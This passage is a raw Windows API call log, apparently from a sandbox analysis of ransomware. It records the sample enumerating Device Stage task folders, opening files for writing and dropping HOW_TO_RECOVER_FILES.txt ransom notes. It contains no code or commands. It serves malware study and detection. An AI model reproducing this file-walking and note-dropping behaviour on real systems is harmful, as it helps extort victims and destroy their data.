ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc04b)) returned 1 [0136.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0136.421] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico", lpFilePart=0x0) returned 0x5e [0136.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0136.421] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0136.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0136.424] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", lpFilePart=0x0) returned 0x5f [0136.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0136.424] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), fInfoLevelId=0x0, lpFileInformation=0x38e9bf0 | out: lpFileInformation=0x38e9bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2aff)) returned 1 [0136.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0136.424] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", lpFilePart=0x0) returned 0x5f [0136.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0136.424] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0136.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0136.426] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico", lpFilePart=0x0) returned 0x5d [0136.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0136.426] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"), fInfoLevelId=0x0, lpFileInformation=0x38ea410 | out: lpFileInformation=0x38ea410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4)) returned 1 [0136.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0136.426] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico", lpFilePart=0x0) returned 0x5d [0136.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0136.426] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0136.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0136.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0136.429] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", lpFilePart=0x0) returned 0x5b [0136.429] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36e23cf8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0136.429] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36e23cf8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.429] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36e23cf8, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x36e23cf8, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x36f7b256, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0136.429] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0136.429] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0136.430] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0136.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0136.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0136.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0136.430] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", lpFilePart=0x0) returned 0x5b [0136.430] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x36e23cf8, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x36e23cf8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0136.430] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x36e23cf8, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x36e23cf8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.430] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36e23cf8, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x36e23cf8, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x36f7b256, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0136.430] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0136.431] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0136.743] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0136.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0136.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0136.744] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x10f8c20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x68 [0136.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f90f0) returned 1 [0136.744] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), fInfoLevelId=0x0, lpFileInformation=0x39d2790 | out: lpFileInformation=0x39d2790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536)) returned 1 [0136.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f90b0) returned 1 [0136.744] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x10f8a80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x68 [0136.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8fa0) returned 1 [0136.744] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0136.744] GetFileType (hFile=0x644) returned 0x1 [0136.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8f10) returned 1 [0136.744] GetFileType (hFile=0x644) returned 0x1 [0136.744] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x10f9148 | out: lpFileSizeHigh=0x10f9148*=0x0) returned 0x536 [0136.744] ReadFile (in: hFile=0x644, lpBuffer=0x39d3000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9078, lpOverlapped=0x0 | out: lpBuffer=0x39d3000*, lpNumberOfBytesRead=0x10f9078*=0x536, lpOverlapped=0x0) returned 1 [0136.745] CloseHandle (hObject=0x644) returned 1 [0136.756] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x10f8a80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x68 [0136.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8fa0) returned 1 [0136.756] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0136.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f5990) returned 1 [0136.758] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x74 [0136.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0136.758] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0136.759] GetFileType (hFile=0x644) returned 0x1 [0136.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0136.759] GetFileType (hFile=0x644) returned 0x1 [0136.760] WriteFile (in: hFile=0x644, lpBuffer=0x3a4e820*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9378, lpOverlapped=0x0 | out: lpBuffer=0x3a4e820*, lpNumberOfBytesWritten=0x10f9378*=0x5d0, lpOverlapped=0x0) returned 1 [0136.761] CloseHandle (hObject=0x644) returned 1 [0136.761] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0136.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0136.761] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0136.762] GetFileType (hFile=0x644) returned 0x1 [0136.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0136.762] GetFileType (hFile=0x644) returned 0x1 [0136.763] WriteFile (in: hFile=0x644, lpBuffer=0x3a52128*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x3a52128*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0136.763] CloseHandle (hObject=0x644) returned 1 [0136.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0136.764] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpFilePart=0x0) returned 0x55 [0136.764] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0136.764] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.764] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0136.764] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0136.764] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379e9659, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0136.765] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1 [0136.765] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1 [0136.765] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1 [0136.765] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1 [0136.765] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1 [0136.765] 